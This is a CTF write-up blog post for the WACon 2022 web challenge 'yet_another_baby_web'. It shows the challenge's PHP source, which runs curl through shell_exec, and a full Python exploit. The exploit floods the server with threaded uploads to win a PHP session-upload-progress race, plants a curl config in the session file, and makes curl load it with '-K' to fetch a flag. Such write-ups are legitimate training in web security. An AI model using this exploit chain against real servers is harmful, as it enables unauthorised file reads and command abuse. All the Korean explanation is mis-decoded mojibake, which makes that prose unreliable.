[WACon 2022] yet_another_baby_web
๐ช Intro
์น 2๋ฒ์งธ ๋ฌธ์ ์ ๋๋ค. ์ด ๋ฌธ์ ์ญ์ poc ์ฝ๋์ ํํธ๋ฅผ ๋ณด๊ณ ์ ๋ณด๋ฅผ ์ฐพ์ ๋ค ํ๊ฒ ๋์๋๋ฐ์.
์ด ๋ฌธ์ ๋ฅผ ํ๊ธฐ ์ํด์๋ `session upload progress` ์ ๋ํด ์๊ณ ์์ด์ผ ํฉ๋๋ค.
๐ก Analysis - ์ฝ๋ ๋ถ์
POST ๋ฐฉ์์ผ๋ก url ๋ฐ์ดํฐ๋ฅผ ๋๊ธฐ๋ฉด curl ๋ช ๋ น์ด๋ฅผ ์คํํฉ๋๋ค. ์ด๋ url ๊ฐ์ ์ฌ๋ฌ๋ฒ์ ํํฐ๋ง์ ๊ฑฐ์น๊ฒ ๋์ฃ .
curl ์คํ ํ ์ถ๋ ฅ ๊ฐ์๋ ๋ณธ์ธ์ UUID ๊ฐ์ด ํฌํจ๋์ด ์์ด์ผ ์ถ๋ ฅ ๊ฐ์ ๋ณผ ์ ์์ต๋๋ค.
<?php
session_start();
if (!isset($_POST["url"])) {
highlight_file(__FILE__);
}
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr($chars, 0, 8) . '-'
. substr($chars, 8, 4) . '-'
. substr($chars, 12, 4) . '-'
. substr($chars, 16, 4) . '-'
. substr($chars, 20, 12);
return $uuid;
}
function Check($url)
{
$blacklist = "/\}|\{|\[|\]|\:|f|g|[\x01-\x1f]|[\x7f-\xff]|['\"]/i";
if (is_string($url)
&& strlen($url) < 4096
&& !preg_match($blacklist, $url)) {
return true;
}
return false;
}
if (!isset($_SESSION["uuid"])) {
$_SESSION["uuid"] = uuid();
}
echo $_SESSION["uuid"]."</br>";
if (Check($_POST["url"])) {
$url = escapeshellarg($_POST["url"]);
$cmd = "/usr/bin/curl ${url} --output - -m 3 --connect-timeout 3";
echo "your command: " . $cmd . "</br>";
$res = shell_exec($cmd);
} else {
die("error~");
}
if (strpos($res, $_SESSION["uuid"]) !== false) {
echo $res;
} else {
echo "you cannot get the result~";
} 4a31bba3-28c1-9e16-b9da-8c1f258df555
error~
๐ก Analysis - Session Upload Progress
Session Upload Progress ๊ธฐ๋ฅ์ ์ด์ฉํ์ฌ ๊ณต๊ฒฉ์๊ฐ ์ํ๋ ์ธ์ ํ์ผ ์ด๋ฆ์ ์์ฑํ ์ ์๊ณ , ์ธ์ ํ์ผ์ php ์ฝ๋๋ฅผ ๋ฃ์ ์ ์์ต๋๋ค. ์ด์ ๋ํ ์์ธํ ์ค๋ช ์ ์ถํ์ ์ ๋ฆฌํด์ ๋ธ๋ก๊ทธ์ ํฌ์คํ ํ ๊ณํ์ ๋๋ค.
๊ฒฐ๋ก ๋ง ์๋ ค๋๋ฆฌ์๋ฉด, ์ด ๊ธฐ๋ฅ์ ์ ์ฉํ์ฌ ๊ณต๊ฒฉ์๋ ์์ฒญ ํฐ ํ์ผ์ ์ ๋ก๋ํ๋ ๋์์ Session ํ์ผ์ ์์ฑํ๊ณ , ํด๋น ํ์ผ ์์ php ์ฝ๋๋ฅผ ๋ฃ์ด์ผ ํฉ๋๋ค. (์ด ๋ฌธ์ ์์๋ php ์ฝ๋๋ฅผ ๋ฃ์ง๋ ์์ต๋๋ค.)
์ด๋ ๊ฒ ์์ฑ๋ ์ธ์ ํ์ผ์ ์ ๊น ์กด์ฌ ํ๋ค๊ฐ ์ฌ๋ผ์ง๋๋ค. ์ฆ, ์๋ฒ์์ ํด๋น ์ธ์ ํ์ผ์ด ์ฌ๋ผ์ง๊ธฐ ์ ์ ์จ๋จน์ด์ผ ํ์ฃ .
์ฆ, Race condition ์ ์ผ์ผ์ผ์ผ ํฉ๋๋ค.
๐ก Analysis - cUrl config file
curl ์์ `--config` ๋ผ๋ ์ต์ ์ด ์์ต๋๋ค. ์ด๋ ์ค์ ์ txt๋ก ์ ์ฅํ ํ, ํด๋น ํ์ผ์ ์ฝ์ด ๋์์ ์ํํ๋ ์ต์ ์ ๋๋ค.
์๋ฅผ ๋ค์ด, ์๋์ฒ๋ผ ํ์ผ์ ์์ฑํ๋ฉด curl์ url์ ๊ฐ์ผ๋ก ์ ์ํ๊ณ ๊ทธ์ ๋ํ ๊ฒฐ๊ณผ๋ output ์ต์ ์ ์์ฑ๋ ๊ฒฝ๋ก๋ก ์ ์ฅ๋ฉ๋๋ค.
๋ง์ฝ ์ฌ๋ฌ๊ฐ์ url ๋ชฉ๋ก์ ์์ฑํ ๊ฒฝ์ฐ ์๋์ฒ๋ผ {} ์ฆ๊ดํธ๋ฅผ ์ด์ฉํ์ฌ site.one.com, stie.two.com ์ด๋ฐ์์ผ๋ก ์ฌ๋ฌ๊ฐ์ url์ ์์ฒญ์ ๋ณด๋ด๊ฒ ๋ฉ๋๋ค.
๐ก Exploit
๋ํ ์ข ๋ฃ ์ดํ, ๋ํ ์ด์์์ธ sqrtrev๋๊ป์ ์ฌ๋ ค์ฃผ์ poc ์ฝ๋๋ฅผ ํตํด ์ค๋ช ๋๋ฆฌ๊ฒ ์ต๋๋ค. (sqrtrev๋ ๊ฐ์ฌํฉ๋๋ค.)
์ฐ์ ๋ณธ์ธ์ cookie์ uuid ๊ฐ์ ์ถ์ถํฉ๋๋ค.
11๋ฒ์งธ ์ค์์, ์์ฑํ ์ธ์ ํ์ผ ์ด๋ฆ์ ์ง์ ํด ์ค๋๋ค.
13๋ฒ์งธ ์ค์์, ์์ฑ๋ ์ธ์ ํ์ผ์ ์ ์ ๋ด์ฉ์ ์์ฑํด ์ค๋๋ค. ์ด ๋ด์ฉ์ curl --config ์ต์ ์ ์ฌ์ฉ๋ ๋ด์ฉ์ ๋๋ค.
host๊ฐ flag๋ก ๋์ด ์๋ ์ด์ ๋ docker ํ์ผ์ flag๊ฐ ์๋ ์ปจํ ์ด๋ ์ด๋ฆ์ด flag ์ด๊ธฐ ๋๋ฌธ์ ๋๋ค.
14๋ฒ์งธ ์ค์์, ์์ฒญ ํฐ ๋ฐ์ดํฐ๋ฅผ ์์ฑํด ์ค๋๋ค.
16๋ฒ์งธ ์ค์์, session upload progress ๊ธฐ๋ฅ์ ์ฌ์ฉํ๊ธฐ ์ํด ์ธํ ํด ์ค๋๋ค.
์ดํ Race Condition์ ์ ๋ฐํ๊ธฐ ์ํด Thread๋ฅผ ํตํด ๊ณ์ ๋ฐ์ดํฐ๋ฅผ ์ ์กํฉ๋๋ค.
์ต์ข ์ ์ผ๋ก Race Condition์ ์ ๋ฐํ๊ธฐ ์ํด ์์์ ์์ฑ๋ ์ธ์ ํ์ผ์ curl ์ --config ์ต์ ์ผ๋ก ๋ฃ์ด ์ค๋๋ค.
๋ค์์ ์ต์ข poc ์ฝ๋ ์ ๋๋ค.
import requests
import threading
HOST = 'http://110.10.147.146:8000/'
def init_session():
conn = requests.get(HOST)
cookie = conn.headers["Set-Cookie"]
uuid = conn.text
return uuid[uuid.index("</code>")+7:uuid.index("</br>")], cookie[:cookie.index(";")]
def exploit(uuid):
headers = {
'Cookie': 'PHPSESSID=sqrtrev'
}
pay = '\n\nurl="{flag:31337,%s}"\n\n'%uuid
dummy = "a" * (8000000-1)
data = {
'PHP_SESSION_UPLOAD_PROGRESS': pay
}
def run():
while True:
conn = requests.post(HOST, files={"f": dummy}, data=data, headers=headers)
r1 = conn.text
for i in range(10):
T = threading.Thread(target=run, args=())
T.start()
def getflag(cookie):
headers = {
'Cookie': cookie
}
data = {
'url': "-K/var/lib/php/sessions/sess_sqrtrev"
}
while True:
conn = requests.post(HOST, data=data, headers=headers)
output = conn.text
if 'WACon' in output:
break
return output[output.index("WACon"):output.index("}")+1]
if __name__ == "__main__":
uuid, cookie = init_session()
exploit(uuid)
print(getflag(cookie))
์ด ๊ฒ์๊ธ์๋ session upload progress์ ๋ํ ์ค๋ช ์ ๋ค๋ฃจ์ง ์๋ค ๋ณด๋, ๋กธ์ ์ด ์๋นํ ๋น์ฝํฉ๋๋ค.
์ถํ์ ์ด ๊ธฐ๋ฅ์ ๋ํด ๊ณต๋ถํด๋ณด๊ณ ํฌ์คํ ํ ๊ณํ์ ๋๋ค.
'CTF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
DiceCTF 2022 writeup (0) | 2022.07.25 |
---|---|
[WACon 2022] yet_another_baby_web (0) | 2022.06.28 |
[WACon 2022] ppower write up (2) | 2022.06.28 |
[WACon 2022] Kuncษlan write up (0) | 2022.06.27 |
zer0pts ctf 2022 GitFile Explorer write up (0) | 2022.03.27 |
hayyim CTF 2022 writeup (0) | 2022.02.13 |
๋๊ธ
์ด ๊ธ ๊ณต์ ํ๊ธฐ
-
๊ตฌ๋
ํ๊ธฐ
๊ตฌ๋ ํ๊ธฐ
-
์นด์นด์คํก
์นด์นด์คํก
-
๋ผ์ธ
๋ผ์ธ
-
ํธ์ํฐ
ํธ์ํฐ
-
Facebook
Facebook
-
์นด์นด์ค์คํ ๋ฆฌ
์นด์นด์ค์คํ ๋ฆฌ
-
๋ฐด๋
๋ฐด๋
-
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
-
Pocket
Pocket
-
Evernote
Evernote
๋ค๋ฅธ ๊ธ
-
DiceCTF 2022 writeup
DiceCTF 2022 writeup
2022.07.25 -
[WACon 2022] ppower write up
[WACon 2022] ppower write up
2022.06.28 -
[WACon 2022] Kuncษlan write up
[WACon 2022] Kuncษlan write up
2022.06.27 -
zer0pts ctf 2022 GitFile Explorer write up
zer0pts ctf 2022 GitFile Explorer write up
2022.03.27